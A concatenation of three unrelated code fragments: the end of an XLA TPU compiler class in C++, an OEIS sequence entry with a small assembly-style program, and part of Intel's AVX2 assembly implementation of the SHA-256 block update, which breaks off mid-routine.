xla::MakeCleanup([&c_module]() { ApiConverter::Free(&c_module); });
TF_ASSIGN_OR_RETURN(std::unique_ptr<HloModule> module,
ApiConverter::FromC(c_module));
std::shared_ptr<HloModule> module_shared(module.release());
executables.emplace_back(absl::make_unique<TpuExecutable>(
se_executables[i], std::move(module_shared)));
}
stream_executor::tpu::SerializedProto_Free(se_module_group.proto);
delete[] se_executables;
return executables;
}
// Compiles the HLO module group for ahead-of-time execution. This is
// intended for use in static compilation.
StatusOr<std::vector<std::unique_ptr<AotCompilationResult>>>
CompileAheadOfTime(std::unique_ptr<HloModuleGroup> module_group,
const AotCompilationOptions& options) override {
return Unimplemented("This compiler does not support CompileAheadOfTime.");
}
// Returns a function that computes the size in bytes of the logical
// buffer that contains a shape.
HloCostAnalysis::ShapeSizeFunction ShapeSizeBytesFunction() const override {
return [this](const xla::Shape& shape) {
XLA_Shape c_shape;
ApiConverter::ToC(shape, &c_shape);
int64 bytes =
ExecutorApiFn()->TpuCompiler_ShapeSizeFn(compiler_, &c_shape);
ApiConverter::Free(&c_shape);
return bytes;
};
}
private:
Tpu_Compiler* compiler_;
};
static bool InitModule() {
xla::Compiler::RegisterCompilerFactory(
tensorflow::tpu::TpuPlatform::kId,
[]() { return absl::make_unique<TpuCompiler>(); });
return true;
}
static bool module_initialized = InitModule();
} // namespace
} // namespace xla
|
; A146083: Expansion of 1/(1 - x*(1 - 11*x)).
; 1,1,-10,-21,89,320,-659,-4179,3070,49039,15269,-524160,-692119,5073641,12686950,-43123101,-182679551,291674560,2301149621,-907270539,-26219916370,-16239940441,272179139629,450818484480,-2543152051439,-7502155380719,20472517185110,102996226373019,-122201462663191,-1255159952766400,89056136528701,13895815616959101,12916198115143390,-139937773671406721,-282015952937984011,1257299557447489920,4359475039765314041,-9470820092157075079,-57425045529575529530,46753975484152296339,678429476309483121169
mul $0,2
mov $1,1
lpb $0
sub $0,2
sub $1,$2
add $2,$1
mul $2,11
lpe
mov $0,$1
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 6, 0x90
SHA256_YMM_K:
.long 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5
.long 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5
.long 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3
.long 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174
.long 0xe49b69c1, 0xefbe4786, 0xfc19dc6, 0x240ca1cc, 0xe49b69c1, 0xefbe4786, 0xfc19dc6, 0x240ca1cc
.long 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da
.long 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7
.long 0xc6e00bf3, 0xd5a79147, 0x6ca6351, 0x14292967, 0xc6e00bf3, 0xd5a79147, 0x6ca6351, 0x14292967
.long 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13
.long 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85
.long 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3
.long 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070
.long 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5
.long 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3
.long 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208
.long 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
SHA256_YMM_BF:
.long 0x10203, 0x4050607, 0x8090a0b, 0xc0d0e0f, 0x10203, 0x4050607, 0x8090a0b, 0xc0d0e0f
SHA256_DCzz:
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0,1,2,3, 8,9,10,11
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0,1,2,3, 8,9,10,11
SHA256_zzBA:
.byte 0,1,2,3, 8,9,10,11, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0,1,2,3, 8,9,10,11, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.p2align 6, 0x90
.globl UpdateSHA256
.type UpdateSHA256, @function
UpdateSHA256:
push %rbx
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
sub $(544), %rsp
mov %rsp, %r15
and $(-64), %rsp
movslq %edx, %r14
movq %rdi, (8)(%rsp)
movq %r14, (16)(%rsp)
movq %r15, (24)(%rsp)
lea (32)(%rsp), %rsp
movl (%rdi), %eax
movl (4)(%rdi), %ebx
movl (8)(%rdi), %ecx
movl (12)(%rdi), %edx
movl (16)(%rdi), %r8d
movl (20)(%rdi), %r9d
movl (24)(%rdi), %r10d
movl (28)(%rdi), %r11d
vmovdqa SHA256_YMM_BF(%rip), %ymm10
vmovdqa SHA256_zzBA(%rip), %ymm8
vmovdqa SHA256_DCzz(%rip), %ymm9
.p2align 6, 0x90
.Lsha256_block2_loopgas_1:
lea (64)(%rsi), %r12
cmp $(64), %r14
cmovbe %rsi, %r12
lea SHA256_YMM_K(%rip), %rbp
vmovdqu (%rsi), %xmm0
vmovdqu (16)(%rsi), %xmm1
vmovdqu (32)(%rsi), %xmm2
vmovdqu (48)(%rsi), %xmm3
vinserti128 $(1), (%r12), %ymm0, %ymm0
vinserti128 $(1), (16)(%r12), %ymm1, %ymm1
vinserti128 $(1), (32)(%r12), %ymm2, %ymm2
vinserti128 $(1), (48)(%r12), %ymm3, %ymm3
vpshufb %ymm10, %ymm0, %ymm0
vpshufb %ymm10, %ymm1, %ymm1
vpshufb %ymm10, %ymm2, %ymm2
vpshufb %ymm10, %ymm3, %ymm3
vpaddd (%rbp), %ymm0, %ymm4
vpaddd (32)(%rbp), %ymm1, %ymm5
vpaddd (64)(%rbp), %ymm2, %ymm6
vpaddd (96)(%rbp), %ymm3, %ymm7
add $(128), %rbp
vmovdqa %ymm4, (%rsp)
vmovdqa %ymm5, (32)(%rsp)
vmovdqa %ymm6, (64)(%rsp)
vmovdqa %ymm7, (96)(%rsp)
mov %ebx, %edi
xor %r14d, %r14d
mov %r9d, %r12d
xor %ecx, %edi
.p2align 6, 0x90
.Lblock1_shed_procgas_1:
vpalignr $(4), %ymm0, %ymm1, %ymm6
addl (%rsp), %r11d
and %r8d, %r12d
rorx $(25), %r8d, %r13d
vpalignr $(4), %ymm2, %ymm3, %ymm5
rorx $(11), %r8d, %r15d
add %r14d, %eax
add %r12d, %r11d
vpsrld $(7), %ymm6, %ymm4
andn %r10d, %r8d, %r12d
xor %r15d, %r13d
rorx $(6), %r8d, %r14d
vpaddd %ymm5, %ymm0, %ymm0
add %r12d, %r11d
xor %r14d, %r13d
mov %eax, %r15d
vpsrld $(3), %ymm6, %ymm5
rorx $(22), %eax, %r12d
add %r13d, %r11d
xor %ebx, %r15d
vpslld $(14), %ymm6, %ymm7
rorx $(13), %eax, %r14d
rorx $(2), %eax, %r13d
add %r11d, %edx
vpxor %ymm4, %ymm5, %ymm6
and %r15d, %edi
xor %r12d, %r14d
xor %ebx, %edi
vpshufd $(250), %ymm3, %ymm5
xor %r13d, %r14d
add %edi, %r11d
mov %r8d, %r12d
vpsrld $(11), %ymm4, %ymm4
addl (4)(%rsp), %r10d
and %edx, %r12d
rorx $(25), %edx, %r13d
vpxor %ymm7, %ymm6, %ymm6
rorx $(11), %edx, %edi
add %r14d, %r11d
add %r12d, %r10d
vpslld $(11), %ymm7, %ymm7
andn %r9d, %edx, %r12d
xor %edi, %r13d
rorx $(6), %edx, %r14d
vpxor %ymm4, %ymm6, %ymm6
add %r12d, %r10d
xor %r14d, %r13d
mov %r11d, %edi
vpsrld $(10), %ymm5, %ymm4
rorx $(22), %r11d, %r12d
add %r13d, %r10d
xor %eax, %edi
vpxor %ymm7, %ymm6, %ymm6
rorx $(13), %r11d, %r14d
rorx $(2), %r11d, %r13d
add %r10d, %ecx
vpsrlq $(17), %ymm5, %ymm5
and %edi, %r15d
xor %r12d, %r14d
xor %eax, %r15d
vpaddd %ymm6, %ymm0, %ymm0
xor %r13d, %r14d
add %r15d, %r10d
mov %edx, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (8)(%rsp), %r9d
and %ecx, %r12d
rorx $(25), %ecx, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %ecx, %r15d
add %r14d, %r10d
add %r12d, %r9d
vpxor %ymm5, %ymm4, %ymm4
andn %r8d, %ecx, %r12d
xor %r15d, %r13d
rorx $(6), %ecx, %r14d
vpshufb %ymm8, %ymm4, %ymm4
add %r12d, %r9d
xor %r14d, %r13d
mov %r10d, %r15d
vpaddd %ymm4, %ymm0, %ymm0
rorx $(22), %r10d, %r12d
add %r13d, %r9d
xor %r11d, %r15d
vpshufd $(80), %ymm0, %ymm5
rorx $(13), %r10d, %r14d
rorx $(2), %r10d, %r13d
add %r9d, %ebx
vpsrld $(10), %ymm5, %ymm4
and %r15d, %edi
xor %r12d, %r14d
xor %r11d, %edi
vpsrlq $(17), %ymm5, %ymm5
xor %r13d, %r14d
add %edi, %r9d
mov %ecx, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (12)(%rsp), %r8d
and %ebx, %r12d
rorx $(25), %ebx, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %ebx, %edi
add %r14d, %r9d
add %r12d, %r8d
vpxor %ymm5, %ymm4, %ymm4
andn %edx, %ebx, %r12d
xor %edi, %r13d
rorx $(6), %ebx, %r14d
vpshufb %ymm9, %ymm4, %ymm4
add %r12d, %r8d
xor %r14d, %r13d
mov %r9d, %edi
vpaddd %ymm4, %ymm0, %ymm0
rorx $(22), %r9d, %r12d
add %r13d, %r8d
xor %r10d, %edi
vpaddd (%rbp), %ymm0, %ymm4
rorx $(13), %r9d, %r14d
rorx $(2), %r9d, %r13d
add %r8d, %eax
and %edi, %r15d
xor %r12d, %r14d
xor %r10d, %r15d
vmovdqa %ymm4, (128)(%rsp)
xor %r13d, %r14d
add %r15d, %r8d
mov %ebx, %r12d
vpalignr $(4), %ymm1, %ymm2, %ymm6
addl (32)(%rsp), %edx
and %eax, %r12d
rorx $(25), %eax, %r13d
vpalignr $(4), %ymm3, %ymm0, %ymm5
rorx $(11), %eax, %r15d
add %r14d, %r8d
add %r12d, %edx
vpsrld $(7), %ymm6, %ymm4
andn %ecx, %eax, %r12d
xor %r15d, %r13d
rorx $(6), %eax, %r14d
vpaddd %ymm5, %ymm1, %ymm1
add %r12d, %edx
xor %r14d, %r13d
mov %r8d, %r15d
vpsrld $(3), %ymm6, %ymm5
rorx $(22), %r8d, %r12d
add %r13d, %edx
xor %r9d, %r15d
vpslld $(14), %ymm6, %ymm7
rorx $(13), %r8d, %r14d
rorx $(2), %r8d, %r13d
add %edx, %r11d
vpxor %ymm4, %ymm5, %ymm6
and %r15d, %edi
xor %r12d, %r14d
xor %r9d, %edi
vpshufd $(250), %ymm0, %ymm5
xor %r13d, %r14d
add %edi, %edx
mov %eax, %r12d
vpsrld $(11), %ymm4, %ymm4
addl (36)(%rsp), %ecx
and %r11d, %r12d
rorx $(25), %r11d, %r13d
vpxor %ymm7, %ymm6, %ymm6
rorx $(11), %r11d, %edi
add %r14d, %edx
add %r12d, %ecx
vpslld $(11), %ymm7, %ymm7
andn %ebx, %r11d, %r12d
xor %edi, %r13d
rorx $(6), %r11d, %r14d
vpxor %ymm4, %ymm6, %ymm6
add %r12d, %ecx
xor %r14d, %r13d
mov %edx, %edi
vpsrld $(10), %ymm5, %ymm4
rorx $(22), %edx, %r12d
add %r13d, %ecx
xor %r8d, %edi
vpxor %ymm7, %ymm6, %ymm6
rorx $(13), %edx, %r14d
rorx $(2), %edx, %r13d
add %ecx, %r10d
vpsrlq $(17), %ymm5, %ymm5
and %edi, %r15d
xor %r12d, %r14d
xor %r8d, %r15d
vpaddd %ymm6, %ymm1, %ymm1
xor %r13d, %r14d
add %r15d, %ecx
mov %r11d, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (40)(%rsp), %ebx
and %r10d, %r12d
rorx $(25), %r10d, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %r10d, %r15d
add %r14d, %ecx
add %r12d, %ebx
vpxor %ymm5, %ymm4, %ymm4
andn %eax, %r10d, %r12d
xor %r15d, %r13d
rorx $(6), %r10d, %r14d
vpshufb %ymm8, %ymm4, %ymm4
add %r12d, %ebx
xor %r14d, %r13d
mov %ecx, %r15d
vpaddd %ymm4, %ymm1, %ymm1
rorx $(22), %ecx, %r12d
add %r13d, %ebx
xor %edx, %r15d
vpshufd $(80), %ymm1, %ymm5
rorx $(13), %ecx, %r14d
rorx $(2), %ecx, %r13d
add %ebx, %r9d
vpsrld $(10), %ymm5, %ymm4
and %r15d, %edi
xor %r12d, %r14d
xor %edx, %edi
vpsrlq $(17), %ymm5, %ymm5
xor %r13d, %r14d
add %edi, %ebx
mov %r10d, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (44)(%rsp), %eax
and %r9d, %r12d
rorx $(25), %r9d, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %r9d, %edi
add %r14d, %ebx
add %r12d, %eax
vpxor %ymm5, %ymm4, %ymm4
andn %r11d, %r9d, %r12d
xor %edi, %r13d
rorx $(6), %r9d, %r14d
vpshufb %ymm9, %ymm4, %ymm4
add %r12d, %eax
xor %r14d, %r13d
mov %ebx, %edi
vpaddd %ymm4, %ymm1, %ymm1
rorx $(22), %ebx, %r12d
add %r13d, %eax
xor %ecx, %edi
vpaddd (32)(%rbp), %ymm1, %ymm4
rorx $(13), %ebx, %r14d
rorx $(2), %ebx, %r13d
add %eax, %r8d
and %edi, %r15d
xor %r12d, %r14d
xor %ecx, %r15d
vmovdqa %ymm4, (160)(%rsp)
xor %r13d, %r14d
add %r15d, %eax
mov %r9d, %r12d
vpalignr $(4), %ymm2, %ymm3, %ymm6
addl (64)(%rsp), %r11d
and %r8d, %r12d
rorx $(25), %r8d, %r13d
vpalignr $(4), %ymm0, %ymm1, %ymm5
rorx $(11), %r8d, %r15d
add %r14d, %eax
add %r12d, %r11d
vpsrld $(7), %ymm6, %ymm4
andn %r10d, %r8d, %r12d
xor %r15d, %r13d
rorx $(6), %r8d, %r14d
vpaddd %ymm5, %ymm2, %ymm2
add %r12d, %r11d
xor %r14d, %r13d
mov %eax, %r15d
vpsrld $(3), %ymm6, %ymm5
rorx $(22), %eax, %r12d
add %r13d, %r11d
xor %ebx, %r15d
vpslld $(14), %ymm6, %ymm7
rorx $(13), %eax, %r14d
rorx $(2), %eax, %r13d
add %r11d, %edx
vpxor %ymm4, %ymm5, %ymm6
and %r15d, %edi
xor %r12d, %r14d
xor %ebx, %edi
vpshufd $(250), %ymm1, %ymm5
xor %r13d, %r14d
add %edi, %r11d
mov %r8d, %r12d
vpsrld $(11), %ymm4, %ymm4
addl (68)(%rsp), %r10d
and %edx, %r12d
rorx $(25), %edx, %r13d
vpxor %ymm7, %ymm6, %ymm6
rorx $(11), %edx, %edi
add %r14d, %r11d
add %r12d, %r10d
vpslld $(11), %ymm7, %ymm7
andn %r9d, %edx, %r12d
xor %edi, %r13d
rorx $(6), %edx, %r14d
vpxor %ymm4, %ymm6, %ymm6
add %r12d, %r10d
xor %r14d, %r13d
mov %r11d, %edi
vpsrld $(10), %ymm5, %ymm4
rorx $(22), %r11d, %r12d
add %r13d, %r10d
xor %eax, %edi
vpxor %ymm7, %ymm6, %ymm6
rorx $(13), %r11d, %r14d
rorx $(2), %r11d, %r13d
add %r10d, %ecx
vpsrlq $(17), %ymm5, %ymm5
and %edi, %r15d
xor %r12d, %r14d
xor %eax, %r15d
vpaddd %ymm6, %ymm2, %ymm2
xor %r13d, %r14d
add %r15d, %r10d
mov %edx, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (72)(%rsp), %r9d
and %ecx, %r12d
rorx $(25), %ecx, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %ecx, %r15d
add %r14d, %r10d
add %r12d, %r9d
vpxor %ymm5, %ymm4, %ymm4
andn %r8d, %ecx, %r12d
xor %r15d, %r13d
rorx $(6), %ecx, %r14d
vpshufb %ymm8, %ymm4, %ymm4
add %r12d, %r9d
xor %r14d, %r13d
mov %r10d, %r15d
vpaddd %ymm4, %ymm2, %ymm2
rorx $(22), %r10d, %r12d
add %r13d, %r9d
xor %r11d, %r15d
vpshufd $(80), %ymm2, %ymm5
rorx $(13), %r10d, %r14d
rorx $(2), %r10d, %r13d
add %r9d, %ebx
vpsrld $(10), %ymm5, %ymm4
and %r15d, %edi
xor %r12d, %r14d
xor %r11d, %edi
vpsrlq $(17), %ymm5, %ymm5
xor %r13d, %r14d
add %edi, %r9d
mov %ecx, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (76)(%rsp), %r8d
and %ebx, %r12d
rorx $(25), %ebx, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %ebx, %edi
add %r14d, %r9d
add %r12d, %r8d
vpxor %ymm5, %ymm4, %ymm4
andn %edx, %ebx, %r12d
xor %edi, %r13d
rorx $(6), %ebx, %r14d
vpshufb %ymm9, %ymm4, %ymm4
add %r12d, %r8d
xor %r14d, %r13d
mov %r9d, %edi
vpaddd %ymm4, %ymm2, %ymm2
rorx $(22), %r9d, %r12d
add %r13d, %r8d
xor %r10d, %edi
vpaddd (64)(%rbp), %ymm2, %ymm4
rorx $(13), %r9d, %r14d
rorx $(2), %r9d, %r13d
add %r8d, %eax
and %edi, %r15d
xor %r12d, %r14d
xor %r10d, %r15d
vmovdqa %ymm4, (192)(%rsp)
xor %r13d, %r14d
add %r15d, %r8d
mov %ebx, %r12d
vpalignr $(4), %ymm3, %ymm0, %ymm6
addl (96)(%rsp), %edx
and %eax, %r12d
rorx $(25), %eax, %r13d
vpalignr $(4), %ymm1, %ymm2, %ymm5
rorx $(11), %eax, %r15d
add %r14d, %r8d
add %r12d, %edx
vpsrld $(7), %ymm6, %ymm4
andn %ecx, %eax, %r12d
xor %r15d, %r13d
rorx $(6), %eax, %r14d
vpaddd %ymm5, %ymm3, %ymm3
add %r12d, %edx
xor %r14d, %r13d
mov %r8d, %r15d
vpsrld $(3), %ymm6, %ymm5
rorx $(22), %r8d, %r12d
add %r13d, %edx
xor %r9d, %r15d
vpslld $(14), %ymm6, %ymm7
rorx $(13), %r8d, %r14d
rorx $(2), %r8d, %r13d
add %edx, %r11d
vpxor %ymm4, %ymm5, %ymm6
and %r15d, %edi
xor %r12d, %r14d
xor %r9d, %edi
vpshufd $(250), %ymm2, %ymm5
xor %r13d, %r14d
add %edi, %edx
mov %eax, %r12d
vpsrld $(11), %ymm4, %ymm4
addl (100)(%rsp), %ecx
and %r11d, %r12d
rorx $(25), %r11d, %r13d
vpxor %ymm7, %ymm6, %ymm6
rorx $(11), %r11d, %edi
add %r14d, %edx
add %r12d, %ecx
vpslld $(11), %ymm7, %ymm7
andn %ebx, %r11d, %r12d
xor %edi, %r13d
rorx $(6), %r11d, %r14d
vpxor %ymm4, %ymm6, %ymm6
add %r12d, %ecx
xor %r14d, %r13d
mov %edx, %edi
vpsrld $(10), %ymm5, %ymm4
rorx $(22), %edx, %r12d
add %r13d, %ecx
xor %r8d, %edi
vpxor %ymm7, %ymm6, %ymm6
rorx $(13), %edx, %r14d
rorx $(2), %edx, %r13d
add %ecx, %r10d
vpsrlq $(17), %ymm5, %ymm5
and %edi, %r15d
xor %r12d, %r14d
xor %r8d, %r15d
vpaddd %ymm6, %ymm3, %ymm3
xor %r13d, %r14d
add %r15d, %ecx
mov %r11d, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (104)(%rsp), %ebx
and %r10d, %r12d
rorx $(25), %r10d, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %r10d, %r15d
add %r14d, %ecx
add %r12d, %ebx
vpxor %ymm5, %ymm4, %ymm4
andn %eax, %r10d, %r12d
xor %r15d, %r13d
rorx $(6), %r10d, %r14d
vpshufb %ymm8, %ymm4, %ymm4
add %r12d, %ebx
xor %r14d, %r13d
mov %ecx, %r15d
vpaddd %ymm4, %ymm3, %ymm3
rorx $(22), %ecx, %r12d
add %r13d, %ebx
xor %edx, %r15d
vpshufd $(80), %ymm3, %ymm5
rorx $(13), %ecx, %r14d
rorx $(2), %ecx, %r13d
add %ebx, %r9d
vpsrld $(10), %ymm5, %ymm4
and %r15d, %edi
xor %r12d, %r14d
xor %edx, %edi
vpsrlq $(17), %ymm5, %ymm5
xor %r13d, %r14d
add %edi, %ebx
mov %r10d, %r12d
vpxor %ymm5, %ymm4, %ymm4
addl (108)(%rsp), %eax
and %r9d, %r12d
rorx $(25), %r9d, %r13d
vpsrlq $(2), %ymm5, %ymm5
rorx $(11), %r9d, %edi
add %r14d, %ebx
add %r12d, %eax
vpxor %ymm5, %ymm4, %ymm4
andn %r11d, %r9d, %r12d
xor %edi, %r13d
rorx $(6), %r9d, %r14d
vpshufb %ymm9, %ymm4, %ymm4
add %r12d, %eax
xor %r14d, %r13d
mov %ebx, %edi
vpaddd %ymm4, %ymm3, %ymm3
rorx $(22), %ebx, %r12d
add %r13d, %eax
xor %ecx, %edi
vpaddd (96)(%rbp), %ymm3, %ymm4
rorx $(13), %ebx, %r14d
rorx $(2), %ebx, %r13d
add %eax, %r8d
and %edi, %r15d
xor %r12d, %r14d
xor %ecx, %r15d
vmovdqa %ymm4, (224)(%rsp)
xor %r13d, %r14d
add %r15d, %eax
mov %r9d, %r12d
add $(128), %rsp
add $(128), %rbp
cmpl $(3329325298), (-4)(%rbp)
jne .Lblock1_shed_procgas_1
addl (%rsp), %r11d
and %r8d, %r12d
rorx $(25), %r8d, %r13d
rorx $(11), %r8d, %r15d
add %r14d, %eax
add %r12d, %r11d
andn %r10d, %r8d, %r12d
xor %r15d, %r13d
rorx $(6), %r8d, %r14d
add %r12d, %r11d
xor %r14d, %r13d
mov %eax, %r15d
rorx $(22), %eax, %r12d
add %r13d, %r11d
xor %ebx, %r15d
rorx $(13), %eax, %r14d
rorx $(2), %eax, %r13d
add %r11d, %edx
and %r15d, %edi
xor %r12d, %r14d
xor %ebx, %edi
xor %r13d, %r14d
add %edi, %r11d
mov %r8d, %r12d
addl (4)(%rsp), %r10d
and %edx, %r12d
rorx $(25), %edx, %r13d
rorx $(11), %edx, %edi
add %r14d, %r11d
add %r12d, %r10d
andn %r9d, %edx, %r12d
xor %edi, %r13d
rorx $(6), %edx, %r14d
add %r12d, %r10d
xor %r14d, %r13d
mov %r11d, %edi
rorx $(22), %r11d, %r12d
add %r13d, %r10d
xor %eax, %edi
rorx $(13), %r11d, %r14d
rorx $(2), %r11d, %r13d
add %r10d, %ecx
and %edi, %r15d
xor %r12d, %r14d
xor %eax, %r15d
xor %r13d, %r14d
add %r15d, %r10d
mov %edx, %r12d
addl (8)(%rsp), %r9d
and %ecx, %r12d
rorx $(25), %ecx, %r13d
rorx $(11), %ecx, %r15d
add %r14d, %r10d
add %r12d, %r9d
andn %r8d, %ecx, %r12d
xor %r15d, %r13d
rorx $(6), %ecx, %r14d
add %r12d, %r9d
xor %r14d, %r13d
mov %r10d, %r15d
rorx $(22), %r10d, %r12d
add %r13d, %r9d
xor %r11d, %r15d
rorx $(13), %r10d, %r14d
rorx $(2), %r10d, %r13d
add %r9d, %ebx
and %r15d, %edi
xor %r12d, %r14d
xor %r11d, %edi
xor %r13d, %r14d
add %edi, %r9d
mov %ecx, %r12d
addl (12)(%rsp), %r8d
and %ebx, %r12d
rorx $(25), %ebx, %r13d
rorx $(11), %ebx, %edi
add %r14d, %r9d
add %r12d, %r8d
andn %edx, %ebx, %r12d
xor %edi, %r13d
rorx $(6), %ebx, %r14d
add %r12d, %r8d
xor %r14d, %r13d
mov %r9d, %edi
rorx $(22), %r9d, %r12d
add %r13d, %r8d
xor %r10d, %edi
rorx $(13), %r9d, %r14d
rorx $(2), %r9d, %r13d
add %r8d, %eax
and %edi, %r15d
xor %r12d, %r14d
xor %r10d, %r15d
xor %r13d, %r14d
add %r15d, %r8d
mov %ebx, %r12d
addl (32)(%rsp), %edx
and %eax, %r12d
rorx $(25), %eax, %r13d
rorx $(11), %eax, %r15d
add %r14d, %r8d
add %r12d, %edx
andn %ecx, %eax, %r12d
xor %r15d, %r13d
rorx $(6), %eax, %r14d
add %r12d, %edx
xor %r14d, %r13d
mov %r8d, %r15d
rorx $(22), %r8d, %r12d
add %r13d, %edx
xor %r9d, %r15d
rorx $(13), %r8d, %r14d
rorx $(2), %r8d, %r13d
add %edx, %r11d
and %r15d, %edi
xor %r12d, %r14d
xor %r9d, %edi
xor %r13d, %r14d
add %edi, %edx
mov %eax, %r12d
addl (36)(%rsp), %ecx
and %r11d, %r12d
rorx $(25), %r11d, %r13d
rorx $(11), %r11d, %edi
add %r14d, %edx
add %r12d, %ecx
andn %ebx, %r11d, %r12d
xor %edi, %r13d
rorx $(6), %r11d, %r14d
add %r12d, %ecx
xor %r14d, %r13d
mov %edx, %edi
rorx $(22), %edx, %r12d
add %r13d, %ecx
xor %r8d, %edi
rorx $(13), %edx, %r14d
rorx $(2), %edx, %r13d
add %ecx, %r10d
and %edi, %r15d
xor %r12d, %r14d
xor %r8d, %r15d
xor %r13d, %r14d
add %r15d, %ecx
mov %r11d, %r12d
addl (40)(%rsp), %ebx
and %r10d, %r12d
rorx $(25), %r10d, %r13d
rorx $(11), %r10d, %r15d
add %r14d, %ecx
add %r12d, %ebx
andn %eax, %r10d, %r12d
xor %r15d, %r13d
rorx $(6), %r10d, %r14d
add %r12d, %ebx
xor %r14d, %r13d
mov %ecx, %r15d
rorx $(22), %ecx, %r12d
add %r13d, %ebx
xor %edx, %r15d
rorx $(13), %ecx, %r14d
rorx $(2), %ecx, %r13d
add %ebx, %r9d
and %r15d, %edi
xor %r12d, %r14d
xor %edx, %edi
xor %r13d, %r14d
add %edi, %ebx
mov %r10d, %r12d
addl (44)(%rsp), %eax
and %r9d, %r12d
rorx $(25), %r9d, %r13d
rorx $(11), %r9d, %edi
add %r14d, %ebx
add %r12d, %eax
andn %r11d, %r9d, %r12d
xor %edi, %r13d
rorx $(6), %r9d, %r14d
add %r12d, %eax
xor %r14d, %r13d
mov %ebx, %edi
rorx $(22), %ebx, %r12d
add %r13d, %eax
xor %ecx, %edi
rorx $(13), %ebx, %r14d
rorx $(2), %ebx, %r13d
add %eax, %r8d
and %edi, %r15d
xor %r12d, %r14d
xor %ecx, %r15d
xor %r13d, %r14d
add %r15d, %eax
mov %r9d, %r12d
addl (64)(%rsp), %r11d
and %r8d, %r12d
rorx $(25), %r8d, %r13d
rorx $(11), %r8d, %r15d
add %r14d, %eax
add %r12d, %r11d
andn %r10d, %r8d, %r12d
xor %r15d, %r13d
rorx $(6), %r8d, %r14d
add %r12d, %r11d
xor %r14d, %r13d
mov %eax, %r15d
rorx $(22), %eax, %r12d
add %r13d, %r11d
xor %ebx, %r15d
rorx $(13), %eax, %r14d
rorx $(2), %eax, %r13d
add %r11d, %edx
and %r15d, %edi
xor %r12d, %r14d
xor %ebx, %edi
xor %r13d, %r14d
add %edi, %r11d
mov %r8d, %r12d
addl (68)(%rsp), %r10d
and %edx, %r12d
rorx $(25), %edx, %r13d
rorx $(11), %edx, %edi
add %r14d, %r11d
add %r12d, %r10d
andn %r9d, %edx, %r12d
xor %edi, %r13d
